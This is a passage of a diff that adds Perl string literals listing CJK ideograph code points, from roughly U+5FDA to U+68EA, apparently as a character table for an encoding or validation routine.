+'\x{5FDA}\x{5FDC}\x{5FDD}\x{5FDE}\x{5FE0}\x{5FE1}\x{5FE3}\x{5FE4}\x{5FE5}' .
+'\x{5FE6}\x{5FE7}\x{5FE8}\x{5FE9}\x{5FEA}\x{5FEB}\x{5FED}\x{5FEE}\x{5FEF}' .
+'\x{5FF0}\x{5FF1}\x{5FF2}\x{5FF3}\x{5FF4}\x{5FF5}\x{5FF6}\x{5FF7}\x{5FF8}' .
+'\x{5FF9}\x{5FFA}\x{5FFB}\x{5FFD}\x{5FFE}\x{5FFF}\x{6000}\x{6001}\x{6002}' .
+'\x{6003}\x{6004}\x{6005}\x{6006}\x{6007}\x{6008}\x{6009}\x{600A}\x{600B}' .
+'\x{600C}\x{600D}\x{600E}\x{600F}\x{6010}\x{6011}\x{6012}\x{6013}\x{6014}' .
+'\x{6015}\x{6016}\x{6017}\x{6018}\x{6019}\x{601A}\x{601B}\x{601C}\x{601D}' .
+'\x{601E}\x{601F}\x{6020}\x{6021}\x{6022}\x{6024}\x{6025}\x{6026}\x{6027}' .
+'\x{6028}\x{6029}\x{602A}\x{602B}\x{602C}\x{602D}\x{602E}\x{602F}\x{6030}' .
+'\x{6031}\x{6032}\x{6033}\x{6034}\x{6035}\x{6036}\x{6037}\x{6038}\x{6039}' .
+'\x{603A}\x{603B}\x{603C}\x{603D}\x{603E}\x{603F}\x{6040}\x{6041}\x{6042}' .
+'\x{6043}\x{6044}\x{6045}\x{6046}\x{6047}\x{6048}\x{6049}\x{604A}\x{604B}' .
+'\x{604C}\x{604D}\x{604E}\x{604F}\x{6050}\x{6051}\x{6052}\x{6053}\x{6054}' .
+'\x{6055}\x{6057}\x{6058}\x{6059}\x{605A}\x{605B}\x{605C}\x{605D}\x{605E}' .
+'\x{605F}\x{6062}\x{6063}\x{6064}\x{6065}\x{6066}\x{6067}\x{6068}\x{6069}' .
+'\x{606A}\x{606B}\x{606C}\x{606D}\x{606E}\x{606F}\x{6070}\x{6072}\x{6073}' .
+'\x{6075}\x{6076}\x{6077}\x{6078}\x{6079}\x{607A}\x{607B}\x{607C}\x{607D}' .
+'\x{607E}\x{607F}\x{6080}\x{6081}\x{6082}\x{6083}\x{6084}\x{6085}\x{6086}' .
+'\x{6087}\x{6088}\x{6089}\x{608A}\x{608B}\x{608C}\x{608D}\x{608E}\x{608F}' .
+'\x{6090}\x{6092}\x{6094}\x{6095}\x{6096}\x{6097}\x{6098}\x{6099}\x{609A}' .
+'\x{609B}\x{609C}\x{609D}\x{609E}\x{609F}\x{60A0}\x{60A1}\x{60A2}\x{60A3}' .
+'\x{60A4}\x{60A6}\x{60A7}\x{60A8}\x{60AA}\x{60AB}\x{60AC}\x{60AD}\x{60AE}' .
+'\x{60AF}\x{60B0}\x{60B1}\x{60B2}\x{60B3}\x{60B4}\x{60B5}\x{60B6}\x{60B7}' .
+'\x{60B8}\x{60B9}\x{60BA}\x{60BB}\x{60BC}\x{60BD}\x{60BE}\x{60BF}\x{60C0}' .
+'\x{60C1}\x{60C2}\x{60C3}\x{60C4}\x{60C5}\x{60C6}\x{60C7}\x{60C8}\x{60C9}' .
+'\x{60CA}\x{60CB}\x{60CC}\x{60CD}\x{60CE}\x{60CF}\x{60D0}\x{60D1}\x{60D3}' .
+'\x{60D4}\x{60D5}\x{60D7}\x{60D8}\x{60D9}\x{60DA}\x{60DB}\x{60DC}\x{60DD}' .
+'\x{60DF}\x{60E0}\x{60E1}\x{60E2}\x{60E4}\x{60E6}\x{60E7}\x{60E8}\x{60E9}' .
+'\x{60EA}\x{60EB}\x{60EC}\x{60ED}\x{60EE}\x{60EF}\x{60F0}\x{60F1}\x{60F2}' .
+'\x{60F3}\x{60F4}\x{60F5}\x{60F6}\x{60F7}\x{60F8}\x{60F9}\x{60FA}\x{60FB}' .
+'\x{60FC}\x{60FE}\x{60FF}\x{6100}\x{6101}\x{6103}\x{6104}\x{6105}\x{6106}' .
+'\x{6108}\x{6109}\x{610A}\x{610B}\x{610C}\x{610D}\x{610E}\x{610F}\x{6110}' .
+'\x{6112}\x{6113}\x{6114}\x{6115}\x{6116}\x{6117}\x{6118}\x{6119}\x{611A}' .
+'\x{611B}\x{611C}\x{611D}\x{611F}\x{6120}\x{6122}\x{6123}\x{6124}\x{6125}' .
+'\x{6126}\x{6127}\x{6128}\x{6129}\x{612A}\x{612B}\x{612C}\x{612D}\x{612E}' .
+'\x{612F}\x{6130}\x{6132}\x{6134}\x{6136}\x{6137}\x{613A}\x{613B}\x{613C}' .
+'\x{613D}\x{613E}\x{613F}\x{6140}\x{6141}\x{6142}\x{6143}\x{6144}\x{6145}' .
+'\x{6146}\x{6147}\x{6148}\x{6149}\x{614A}\x{614B}\x{614C}\x{614D}\x{614E}' .
+'\x{614F}\x{6150}\x{6151}\x{6152}\x{6153}\x{6154}\x{6155}\x{6156}\x{6157}' .
+'\x{6158}\x{6159}\x{615A}\x{615B}\x{615C}\x{615D}\x{615E}\x{615F}\x{6161}' .
+'\x{6162}\x{6163}\x{6164}\x{6165}\x{6166}\x{6167}\x{6168}\x{6169}\x{616A}' .
+'\x{616B}\x{616C}\x{616D}\x{616E}\x{6170}\x{6171}\x{6172}\x{6173}\x{6174}' .
+'\x{6175}\x{6176}\x{6177}\x{6178}\x{6179}\x{617A}\x{617C}\x{617E}\x{6180}' .
+'\x{6181}\x{6182}\x{6183}\x{6184}\x{6185}\x{6187}\x{6188}\x{6189}\x{618A}' .
+'\x{618B}\x{618C}\x{618D}\x{618E}\x{618F}\x{6190}\x{6191}\x{6192}\x{6193}' .
+'\x{6194}\x{6195}\x{6196}\x{6198}\x{6199}\x{619A}\x{619B}\x{619D}\x{619E}' .
+'\x{619F}\x{61A0}\x{61A1}\x{61A2}\x{61A3}\x{61A4}\x{61A5}\x{61A6}\x{61A7}' .
+'\x{61A8}\x{61A9}\x{61AA}\x{61AB}\x{61AC}\x{61AD}\x{61AE}\x{61AF}\x{61B0}' .
+'\x{61B1}\x{61B2}\x{61B3}\x{61B4}\x{61B5}\x{61B6}\x{61B7}\x{61B8}\x{61BA}' .
+'\x{61BC}\x{61BD}\x{61BE}\x{61BF}\x{61C0}\x{61C1}\x{61C2}\x{61C3}\x{61C4}' .
+'\x{61C5}\x{61C6}\x{61C7}\x{61C8}\x{61C9}\x{61CA}\x{61CB}\x{61CC}\x{61CD}' .
+'\x{61CE}\x{61CF}\x{61D0}\x{61D1}\x{61D2}\x{61D4}\x{61D6}\x{61D7}\x{61D8}' .
+'\x{61D9}\x{61DA}\x{61DB}\x{61DC}\x{61DD}\x{61DE}\x{61DF}\x{61E0}\x{61E1}' .
+'\x{61E2}\x{61E3}\x{61E4}\x{61E5}\x{61E6}\x{61E7}\x{61E8}\x{61E9}\x{61EA}' .
+'\x{61EB}\x{61ED}\x{61EE}\x{61F0}\x{61F1}\x{61F2}\x{61F3}\x{61F5}\x{61F6}' .
+'\x{61F7}\x{61F8}\x{61F9}\x{61FA}\x{61FB}\x{61FC}\x{61FD}\x{61FE}\x{61FF}' .
+'\x{6200}\x{6201}\x{6202}\x{6203}\x{6204}\x{6206}\x{6207}\x{6208}\x{6209}' .
+'\x{620A}\x{620B}\x{620C}\x{620D}\x{620E}\x{620F}\x{6210}\x{6211}\x{6212}' .
+'\x{6213}\x{6214}\x{6215}\x{6216}\x{6217}\x{6218}\x{6219}\x{621A}\x{621B}' .
+'\x{621C}\x{621D}\x{621E}\x{621F}\x{6220}\x{6221}\x{6222}\x{6223}\x{6224}' .
+'\x{6225}\x{6226}\x{6227}\x{6228}\x{6229}\x{622A}\x{622B}\x{622C}\x{622D}' .
+'\x{622E}\x{622F}\x{6230}\x{6231}\x{6232}\x{6233}\x{6234}\x{6236}\x{6237}' .
+'\x{6238}\x{623A}\x{623B}\x{623C}\x{623D}\x{623E}\x{623F}\x{6240}\x{6241}' .
+'\x{6242}\x{6243}\x{6244}\x{6245}\x{6246}\x{6247}\x{6248}\x{6249}\x{624A}' .
+'\x{624B}\x{624C}\x{624D}\x{624E}\x{624F}\x{6250}\x{6251}\x{6252}\x{6253}' .
+'\x{6254}\x{6255}\x{6256}\x{6258}\x{6259}\x{625A}\x{625B}\x{625C}\x{625D}' .
+'\x{625E}\x{625F}\x{6260}\x{6261}\x{6262}\x{6263}\x{6264}\x{6265}\x{6266}' .
+'\x{6267}\x{6268}\x{6269}\x{626A}\x{626B}\x{626C}\x{626D}\x{626E}\x{626F}' .
+'\x{6270}\x{6271}\x{6272}\x{6273}\x{6274}\x{6275}\x{6276}\x{6277}\x{6278}' .
+'\x{6279}\x{627A}\x{627B}\x{627C}\x{627D}\x{627E}\x{627F}\x{6280}\x{6281}' .
+'\x{6283}\x{6284}\x{6285}\x{6286}\x{6287}\x{6288}\x{6289}\x{628A}\x{628B}' .
+'\x{628C}\x{628E}\x{628F}\x{6290}\x{6291}\x{6292}\x{6293}\x{6294}\x{6295}' .
+'\x{6296}\x{6297}\x{6298}\x{6299}\x{629A}\x{629B}\x{629C}\x{629E}\x{629F}' .
+'\x{62A0}\x{62A1}\x{62A2}\x{62A3}\x{62A4}\x{62A5}\x{62A7}\x{62A8}\x{62A9}' .
+'\x{62AA}\x{62AB}\x{62AC}\x{62AD}\x{62AE}\x{62AF}\x{62B0}\x{62B1}\x{62B2}' .
+'\x{62B3}\x{62B4}\x{62B5}\x{62B6}\x{62B7}\x{62B8}\x{62B9}\x{62BA}\x{62BB}' .
+'\x{62BC}\x{62BD}\x{62BE}\x{62BF}\x{62C0}\x{62C1}\x{62C2}\x{62C3}\x{62C4}' .
+'\x{62C5}\x{62C6}\x{62C7}\x{62C8}\x{62C9}\x{62CA}\x{62CB}\x{62CC}\x{62CD}' .
+'\x{62CE}\x{62CF}\x{62D0}\x{62D1}\x{62D2}\x{62D3}\x{62D4}\x{62D5}\x{62D6}' .
+'\x{62D7}\x{62D8}\x{62D9}\x{62DA}\x{62DB}\x{62DC}\x{62DD}\x{62DF}\x{62E0}' .
+'\x{62E1}\x{62E2}\x{62E3}\x{62E4}\x{62E5}\x{62E6}\x{62E7}\x{62E8}\x{62E9}' .
+'\x{62EB}\x{62EC}\x{62ED}\x{62EE}\x{62EF}\x{62F0}\x{62F1}\x{62F2}\x{62F3}' .
+'\x{62F4}\x{62F5}\x{62F6}\x{62F7}\x{62F8}\x{62F9}\x{62FA}\x{62FB}\x{62FC}' .
+'\x{62FD}\x{62FE}\x{62FF}\x{6300}\x{6301}\x{6302}\x{6303}\x{6304}\x{6305}' .
+'\x{6306}\x{6307}\x{6308}\x{6309}\x{630B}\x{630C}\x{630D}\x{630E}\x{630F}' .
+'\x{6310}\x{6311}\x{6312}\x{6313}\x{6314}\x{6315}\x{6316}\x{6318}\x{6319}' .
+'\x{631A}\x{631B}\x{631C}\x{631D}\x{631E}\x{631F}\x{6320}\x{6321}\x{6322}' .
+'\x{6323}\x{6324}\x{6325}\x{6326}\x{6327}\x{6328}\x{6329}\x{632A}\x{632B}' .
+'\x{632C}\x{632D}\x{632E}\x{632F}\x{6330}\x{6332}\x{6333}\x{6334}\x{6336}' .
+'\x{6338}\x{6339}\x{633A}\x{633B}\x{633C}\x{633D}\x{633E}\x{6340}\x{6341}' .
+'\x{6342}\x{6343}\x{6344}\x{6345}\x{6346}\x{6347}\x{6348}\x{6349}\x{634A}' .
+'\x{634B}\x{634C}\x{634D}\x{634E}\x{634F}\x{6350}\x{6351}\x{6352}\x{6353}' .
+'\x{6354}\x{6355}\x{6356}\x{6357}\x{6358}\x{6359}\x{635A}\x{635C}\x{635D}' .
+'\x{635E}\x{635F}\x{6360}\x{6361}\x{6362}\x{6363}\x{6364}\x{6365}\x{6366}' .
+'\x{6367}\x{6368}\x{6369}\x{636A}\x{636B}\x{636C}\x{636D}\x{636E}\x{636F}' .
+'\x{6370}\x{6371}\x{6372}\x{6373}\x{6374}\x{6375}\x{6376}\x{6377}\x{6378}' .
+'\x{6379}\x{637A}\x{637B}\x{637C}\x{637D}\x{637E}\x{6380}\x{6381}\x{6382}' .
+'\x{6383}\x{6384}\x{6385}\x{6386}\x{6387}\x{6388}\x{6389}\x{638A}\x{638C}' .
+'\x{638D}\x{638E}\x{638F}\x{6390}\x{6391}\x{6392}\x{6394}\x{6395}\x{6396}' .
+'\x{6397}\x{6398}\x{6399}\x{639A}\x{639B}\x{639C}\x{639D}\x{639E}\x{639F}' .
+'\x{63A0}\x{63A1}\x{63A2}\x{63A3}\x{63A4}\x{63A5}\x{63A6}\x{63A7}\x{63A8}' .
+'\x{63A9}\x{63AA}\x{63AB}\x{63AC}\x{63AD}\x{63AE}\x{63AF}\x{63B0}\x{63B1}' .
+'\x{63B2}\x{63B3}\x{63B4}\x{63B5}\x{63B6}\x{63B7}\x{63B8}\x{63B9}\x{63BA}' .
+'\x{63BC}\x{63BD}\x{63BE}\x{63BF}\x{63C0}\x{63C1}\x{63C2}\x{63C3}\x{63C4}' .
+'\x{63C5}\x{63C6}\x{63C7}\x{63C8}\x{63C9}\x{63CA}\x{63CB}\x{63CC}\x{63CD}' .
+'\x{63CE}\x{63CF}\x{63D0}\x{63D2}\x{63D3}\x{63D4}\x{63D5}\x{63D6}\x{63D7}' .
+'\x{63D8}\x{63D9}\x{63DA}\x{63DB}\x{63DC}\x{63DD}\x{63DE}\x{63DF}\x{63E0}' .
+'\x{63E1}\x{63E2}\x{63E3}\x{63E4}\x{63E5}\x{63E6}\x{63E7}\x{63E8}\x{63E9}' .
+'\x{63EA}\x{63EB}\x{63EC}\x{63ED}\x{63EE}\x{63EF}\x{63F0}\x{63F1}\x{63F2}' .
+'\x{63F3}\x{63F4}\x{63F5}\x{63F6}\x{63F7}\x{63F8}\x{63F9}\x{63FA}\x{63FB}' .
+'\x{63FC}\x{63FD}\x{63FE}\x{63FF}\x{6400}\x{6401}\x{6402}\x{6403}\x{6404}' .
+'\x{6405}\x{6406}\x{6408}\x{6409}\x{640A}\x{640B}\x{640C}\x{640D}\x{640E}' .
+'\x{640F}\x{6410}\x{6411}\x{6412}\x{6413}\x{6414}\x{6415}\x{6416}\x{6417}' .
+'\x{6418}\x{6419}\x{641A}\x{641B}\x{641C}\x{641D}\x{641E}\x{641F}\x{6420}' .
+'\x{6421}\x{6422}\x{6423}\x{6424}\x{6425}\x{6426}\x{6427}\x{6428}\x{6429}' .
+'\x{642A}\x{642B}\x{642C}\x{642D}\x{642E}\x{642F}\x{6430}\x{6431}\x{6432}' .
+'\x{6433}\x{6434}\x{6435}\x{6436}\x{6437}\x{6438}\x{6439}\x{643A}\x{643D}' .
+'\x{643E}\x{643F}\x{6440}\x{6441}\x{6443}\x{6444}\x{6445}\x{6446}\x{6447}' .
+'\x{6448}\x{644A}\x{644B}\x{644C}\x{644D}\x{644E}\x{644F}\x{6450}\x{6451}' .
+'\x{6452}\x{6453}\x{6454}\x{6455}\x{6456}\x{6457}\x{6458}\x{6459}\x{645B}' .
+'\x{645C}\x{645D}\x{645E}\x{645F}\x{6460}\x{6461}\x{6462}\x{6463}\x{6464}' .
+'\x{6465}\x{6466}\x{6467}\x{6468}\x{6469}\x{646A}\x{646B}\x{646C}\x{646D}' .
+'\x{646E}\x{646F}\x{6470}\x{6471}\x{6472}\x{6473}\x{6474}\x{6475}\x{6476}' .
+'\x{6477}\x{6478}\x{6479}\x{647A}\x{647B}\x{647C}\x{647D}\x{647F}\x{6480}' .
+'\x{6481}\x{6482}\x{6483}\x{6484}\x{6485}\x{6487}\x{6488}\x{6489}\x{648A}' .
+'\x{648B}\x{648C}\x{648D}\x{648E}\x{648F}\x{6490}\x{6491}\x{6492}\x{6493}' .
+'\x{6494}\x{6495}\x{6496}\x{6497}\x{6498}\x{6499}\x{649A}\x{649B}\x{649C}' .
+'\x{649D}\x{649E}\x{649F}\x{64A0}\x{64A2}\x{64A3}\x{64A4}\x{64A5}\x{64A6}' .
+'\x{64A7}\x{64A8}\x{64A9}\x{64AA}\x{64AB}\x{64AC}\x{64AD}\x{64AE}\x{64B0}' .
+'\x{64B1}\x{64B2}\x{64B3}\x{64B4}\x{64B5}\x{64B7}\x{64B8}\x{64B9}\x{64BA}' .
+'\x{64BB}\x{64BC}\x{64BD}\x{64BE}\x{64BF}\x{64C0}\x{64C1}\x{64C2}\x{64C3}' .
+'\x{64C4}\x{64C5}\x{64C6}\x{64C7}\x{64C9}\x{64CA}\x{64CB}\x{64CC}\x{64CD}' .
+'\x{64CE}\x{64CF}\x{64D0}\x{64D1}\x{64D2}\x{64D3}\x{64D4}\x{64D6}\x{64D7}' .
+'\x{64D8}\x{64D9}\x{64DA}\x{64DB}\x{64DC}\x{64DD}\x{64DE}\x{64DF}\x{64E0}' .
+'\x{64E2}\x{64E3}\x{64E4}\x{64E6}\x{64E7}\x{64E8}\x{64E9}\x{64EA}\x{64EB}' .
+'\x{64EC}\x{64ED}\x{64EF}\x{64F0}\x{64F1}\x{64F2}\x{64F3}\x{64F4}\x{64F6}' .
+'\x{64F7}\x{64F8}\x{64FA}\x{64FB}\x{64FC}\x{64FD}\x{64FE}\x{64FF}\x{6500}' .
+'\x{6501}\x{6503}\x{6504}\x{6505}\x{6506}\x{6507}\x{6508}\x{6509}\x{650B}' .
+'\x{650C}\x{650D}\x{650E}\x{650F}\x{6510}\x{6511}\x{6512}\x{6513}\x{6514}' .
+'\x{6515}\x{6516}\x{6517}\x{6518}\x{6519}\x{651A}\x{651B}\x{651C}\x{651D}' .
+'\x{651E}\x{6520}\x{6521}\x{6522}\x{6523}\x{6524}\x{6525}\x{6526}\x{6527}' .
+'\x{6529}\x{652A}\x{652B}\x{652C}\x{652D}\x{652E}\x{652F}\x{6530}\x{6531}' .
+'\x{6532}\x{6533}\x{6534}\x{6535}\x{6536}\x{6537}\x{6538}\x{6539}\x{653A}' .
+'\x{653B}\x{653C}\x{653D}\x{653E}\x{653F}\x{6541}\x{6543}\x{6544}\x{6545}' .
+'\x{6546}\x{6547}\x{6548}\x{6549}\x{654A}\x{654B}\x{654C}\x{654D}\x{654E}' .
+'\x{654F}\x{6550}\x{6551}\x{6552}\x{6553}\x{6554}\x{6555}\x{6556}\x{6557}' .
+'\x{6558}\x{6559}\x{655B}\x{655C}\x{655D}\x{655E}\x{6560}\x{6561}\x{6562}' .
+'\x{6563}\x{6564}\x{6565}\x{6566}\x{6567}\x{6568}\x{6569}\x{656A}\x{656B}' .
+'\x{656C}\x{656E}\x{656F}\x{6570}\x{6571}\x{6572}\x{6573}\x{6574}\x{6575}' .
+'\x{6576}\x{6577}\x{6578}\x{6579}\x{657A}\x{657B}\x{657C}\x{657E}\x{657F}' .
+'\x{6580}\x{6581}\x{6582}\x{6583}\x{6584}\x{6585}\x{6586}\x{6587}\x{6588}' .
+'\x{6589}\x{658B}\x{658C}\x{658D}\x{658E}\x{658F}\x{6590}\x{6591}\x{6592}' .
+'\x{6593}\x{6594}\x{6595}\x{6596}\x{6597}\x{6598}\x{6599}\x{659B}\x{659C}' .
+'\x{659D}\x{659E}\x{659F}\x{65A0}\x{65A1}\x{65A2}\x{65A3}\x{65A4}\x{65A5}' .
+'\x{65A6}\x{65A7}\x{65A8}\x{65A9}\x{65AA}\x{65AB}\x{65AC}\x{65AD}\x{65AE}' .
+'\x{65AF}\x{65B0}\x{65B1}\x{65B2}\x{65B3}\x{65B4}\x{65B6}\x{65B7}\x{65B8}' .
+'\x{65B9}\x{65BA}\x{65BB}\x{65BC}\x{65BD}\x{65BF}\x{65C0}\x{65C1}\x{65C2}' .
+'\x{65C3}\x{65C4}\x{65C5}\x{65C6}\x{65C7}\x{65CA}\x{65CB}\x{65CC}\x{65CD}' .
+'\x{65CE}\x{65CF}\x{65D0}\x{65D2}\x{65D3}\x{65D4}\x{65D5}\x{65D6}\x{65D7}' .
+'\x{65DA}\x{65DB}\x{65DD}\x{65DE}\x{65DF}\x{65E0}\x{65E1}\x{65E2}\x{65E3}' .
+'\x{65E5}\x{65E6}\x{65E7}\x{65E8}\x{65E9}\x{65EB}\x{65EC}\x{65ED}\x{65EE}' .
+'\x{65EF}\x{65F0}\x{65F1}\x{65F2}\x{65F3}\x{65F4}\x{65F5}\x{65F6}\x{65F7}' .
+'\x{65F8}\x{65FA}\x{65FB}\x{65FC}\x{65FD}\x{6600}\x{6601}\x{6602}\x{6603}' .
+'\x{6604}\x{6605}\x{6606}\x{6607}\x{6608}\x{6609}\x{660A}\x{660B}\x{660C}' .
+'\x{660D}\x{660E}\x{660F}\x{6610}\x{6611}\x{6612}\x{6613}\x{6614}\x{6615}' .
+'\x{6616}\x{6618}\x{6619}\x{661A}\x{661B}\x{661C}\x{661D}\x{661F}\x{6620}' .
+'\x{6621}\x{6622}\x{6623}\x{6624}\x{6625}\x{6626}\x{6627}\x{6628}\x{6629}' .
+'\x{662A}\x{662B}\x{662D}\x{662E}\x{662F}\x{6630}\x{6631}\x{6632}\x{6633}' .
+'\x{6634}\x{6635}\x{6636}\x{6639}\x{663A}\x{663C}\x{663D}\x{663E}\x{6640}' .
+'\x{6641}\x{6642}\x{6643}\x{6644}\x{6645}\x{6646}\x{6647}\x{6649}\x{664A}' .
+'\x{664B}\x{664C}\x{664E}\x{664F}\x{6650}\x{6651}\x{6652}\x{6653}\x{6654}' .
+'\x{6655}\x{6656}\x{6657}\x{6658}\x{6659}\x{665A}\x{665B}\x{665C}\x{665D}' .
+'\x{665E}\x{665F}\x{6661}\x{6662}\x{6664}\x{6665}\x{6666}\x{6668}\x{6669}' .
+'\x{666A}\x{666B}\x{666C}\x{666D}\x{666E}\x{666F}\x{6670}\x{6671}\x{6672}' .
+'\x{6673}\x{6674}\x{6675}\x{6676}\x{6677}\x{6678}\x{6679}\x{667A}\x{667B}' .
+'\x{667C}\x{667D}\x{667E}\x{667F}\x{6680}\x{6681}\x{6682}\x{6683}\x{6684}' .
+'\x{6685}\x{6686}\x{6687}\x{6688}\x{6689}\x{668A}\x{668B}\x{668C}\x{668D}' .
+'\x{668E}\x{668F}\x{6690}\x{6691}\x{6693}\x{6694}\x{6695}\x{6696}\x{6697}' .
+'\x{6698}\x{6699}\x{669A}\x{669B}\x{669D}\x{669F}\x{66A0}\x{66A1}\x{66A2}' .
+'\x{66A3}\x{66A4}\x{66A5}\x{66A6}\x{66A7}\x{66A8}\x{66A9}\x{66AA}\x{66AB}' .
+'\x{66AE}\x{66AF}\x{66B0}\x{66B1}\x{66B2}\x{66B3}\x{66B4}\x{66B5}\x{66B6}' .
+'\x{66B7}\x{66B8}\x{66B9}\x{66BA}\x{66BB}\x{66BC}\x{66BD}\x{66BE}\x{66BF}' .
+'\x{66C0}\x{66C1}\x{66C2}\x{66C3}\x{66C4}\x{66C5}\x{66C6}\x{66C7}\x{66C8}' .
+'\x{66C9}\x{66CA}\x{66CB}\x{66CC}\x{66CD}\x{66CE}\x{66CF}\x{66D1}\x{66D2}' .
+'\x{66D4}\x{66D5}\x{66D6}\x{66D8}\x{66D9}\x{66DA}\x{66DB}\x{66DC}\x{66DD}' .
+'\x{66DE}\x{66E0}\x{66E1}\x{66E2}\x{66E3}\x{66E4}\x{66E5}\x{66E6}\x{66E7}' .
+'\x{66E8}\x{66E9}\x{66EA}\x{66EB}\x{66EC}\x{66ED}\x{66EE}\x{66F0}\x{66F1}' .
+'\x{66F2}\x{66F3}\x{66F4}\x{66F5}\x{66F6}\x{66F7}\x{66F8}\x{66F9}\x{66FA}' .
+'\x{66FB}\x{66FC}\x{66FE}\x{66FF}\x{6700}\x{6701}\x{6703}\x{6704}\x{6705}' .
+'\x{6706}\x{6708}\x{6709}\x{670A}\x{670B}\x{670C}\x{670D}\x{670E}\x{670F}' .
+'\x{6710}\x{6711}\x{6712}\x{6713}\x{6714}\x{6715}\x{6716}\x{6717}\x{6718}' .
+'\x{671A}\x{671B}\x{671C}\x{671D}\x{671E}\x{671F}\x{6720}\x{6721}\x{6722}' .
+'\x{6723}\x{6725}\x{6726}\x{6727}\x{6728}\x{672A}\x{672B}\x{672C}\x{672D}' .
+'\x{672E}\x{672F}\x{6730}\x{6731}\x{6732}\x{6733}\x{6734}\x{6735}\x{6736}' .
+'\x{6737}\x{6738}\x{6739}\x{673A}\x{673B}\x{673C}\x{673D}\x{673E}\x{673F}' .
+'\x{6740}\x{6741}\x{6742}\x{6743}\x{6744}\x{6745}\x{6746}\x{6747}\x{6748}' .
+'\x{6749}\x{674A}\x{674B}\x{674C}\x{674D}\x{674E}\x{674F}\x{6750}\x{6751}' .
+'\x{6752}\x{6753}\x{6754}\x{6755}\x{6756}\x{6757}\x{6758}\x{6759}\x{675A}' .
+'\x{675B}\x{675C}\x{675D}\x{675E}\x{675F}\x{6760}\x{6761}\x{6762}\x{6763}' .
+'\x{6764}\x{6765}\x{6766}\x{6768}\x{6769}\x{676A}\x{676B}\x{676C}\x{676D}' .
+'\x{676E}\x{676F}\x{6770}\x{6771}\x{6772}\x{6773}\x{6774}\x{6775}\x{6776}' .
+'\x{6777}\x{6778}\x{6779}\x{677A}\x{677B}\x{677C}\x{677D}\x{677E}\x{677F}' .
+'\x{6780}\x{6781}\x{6782}\x{6783}\x{6784}\x{6785}\x{6786}\x{6787}\x{6789}' .
+'\x{678A}\x{678B}\x{678C}\x{678D}\x{678E}\x{678F}\x{6790}\x{6791}\x{6792}' .
+'\x{6793}\x{6794}\x{6795}\x{6797}\x{6798}\x{6799}\x{679A}\x{679B}\x{679C}' .
+'\x{679D}\x{679E}\x{679F}\x{67A0}\x{67A1}\x{67A2}\x{67A3}\x{67A4}\x{67A5}' .
+'\x{67A6}\x{67A7}\x{67A8}\x{67AA}\x{67AB}\x{67AC}\x{67AD}\x{67AE}\x{67AF}' .
+'\x{67B0}\x{67B1}\x{67B2}\x{67B3}\x{67B4}\x{67B5}\x{67B6}\x{67B7}\x{67B8}' .
+'\x{67B9}\x{67BA}\x{67BB}\x{67BC}\x{67BE}\x{67C0}\x{67C1}\x{67C2}\x{67C3}' .
+'\x{67C4}\x{67C5}\x{67C6}\x{67C7}\x{67C8}\x{67C9}\x{67CA}\x{67CB}\x{67CC}' .
+'\x{67CD}\x{67CE}\x{67CF}\x{67D0}\x{67D1}\x{67D2}\x{67D3}\x{67D4}\x{67D6}' .
+'\x{67D8}\x{67D9}\x{67DA}\x{67DB}\x{67DC}\x{67DD}\x{67DE}\x{67DF}\x{67E0}' .
+'\x{67E1}\x{67E2}\x{67E3}\x{67E4}\x{67E5}\x{67E6}\x{67E7}\x{67E8}\x{67E9}' .
+'\x{67EA}\x{67EB}\x{67EC}\x{67ED}\x{67EE}\x{67EF}\x{67F0}\x{67F1}\x{67F2}' .
+'\x{67F3}\x{67F4}\x{67F5}\x{67F6}\x{67F7}\x{67F8}\x{67FA}\x{67FB}\x{67FC}' .
+'\x{67FD}\x{67FE}\x{67FF}\x{6800}\x{6802}\x{6803}\x{6804}\x{6805}\x{6806}' .
+'\x{6807}\x{6808}\x{6809}\x{680A}\x{680B}\x{680C}\x{680D}\x{680E}\x{680F}' .
+'\x{6810}\x{6811}\x{6812}\x{6813}\x{6814}\x{6816}\x{6817}\x{6818}\x{6819}' .
+'\x{681A}\x{681B}\x{681C}\x{681D}\x{681F}\x{6820}\x{6821}\x{6822}\x{6823}' .
+'\x{6824}\x{6825}\x{6826}\x{6828}\x{6829}\x{682A}\x{682B}\x{682C}\x{682D}' .
+'\x{682E}\x{682F}\x{6831}\x{6832}\x{6833}\x{6834}\x{6835}\x{6836}\x{6837}' .
+'\x{6838}\x{6839}\x{683A}\x{683B}\x{683C}\x{683D}\x{683E}\x{683F}\x{6840}' .
+'\x{6841}\x{6842}\x{6843}\x{6844}\x{6845}\x{6846}\x{6847}\x{6848}\x{6849}' .
+'\x{684A}\x{684B}\x{684C}\x{684D}\x{684E}\x{684F}\x{6850}\x{6851}\x{6852}' .
+'\x{6853}\x{6854}\x{6855}\x{6856}\x{6857}\x{685B}\x{685D}\x{6860}\x{6861}' .
+'\x{6862}\x{6863}\x{6864}\x{6865}\x{6866}\x{6867}\x{6868}\x{6869}\x{686A}' .
+'\x{686B}\x{686C}\x{686D}\x{686E}\x{686F}\x{6870}\x{6871}\x{6872}\x{6873}' .
+'\x{6874}\x{6875}\x{6876}\x{6877}\x{6878}\x{6879}\x{687B}\x{687C}\x{687D}' .
+'\x{687E}\x{687F}\x{6880}\x{6881}\x{6882}\x{6883}\x{6884}\x{6885}\x{6886}' .
+'\x{6887}\x{6888}\x{6889}\x{688A}\x{688B}\x{688C}\x{688D}\x{688E}\x{688F}' .
+'\x{6890}\x{6891}\x{6892}\x{6893}\x{6894}\x{6896}\x{6897}\x{6898}\x{689A}' .
+'\x{689B}\x{689C}\x{689D}\x{689E}\x{689F}\x{68A0}\x{68A1}\x{68A2}\x{68A3}' .
+'\x{68A4}\x{68A6}\x{68A7}\x{68A8}\x{68A9}\x{68AA}\x{68AB}\x{68AC}\x{68AD}' .
+'\x{68AE}\x{68AF}\x{68B0}\x{68B1}\x{68B2}\x{68B3}\x{68B4}\x{68B5}\x{68B6}' .
+'\x{68B7}\x{68B9}\x{68BB}\x{68BC}\x{68BD}\x{68BE}\x{68BF}\x{68C0}\x{68C1}' .
+'\x{68C2}\x{68C4}\x{68C6}\x{68C7}\x{68C8}\x{68C9}\x{68CA}\x{68CB}\x{68CC}' .
+'\x{68CD}\x{68CE}\x{68CF}\x{68D0}\x{68D1}\x{68D2}\x{68D3}\x{68D4}\x{68D5}' .
+'\x{68D6}\x{68D7}\x{68D8}\x{68DA}\x{68DB}\x{68DC}\x{68DD}\x{68DE}\x{68DF}' .
+'\x{68E0}\x{68E1}\x{68E3}\x{68E4}\x{68E6}\x{68E7}\x{68E8}\x{68E9}\x{68EA}' .
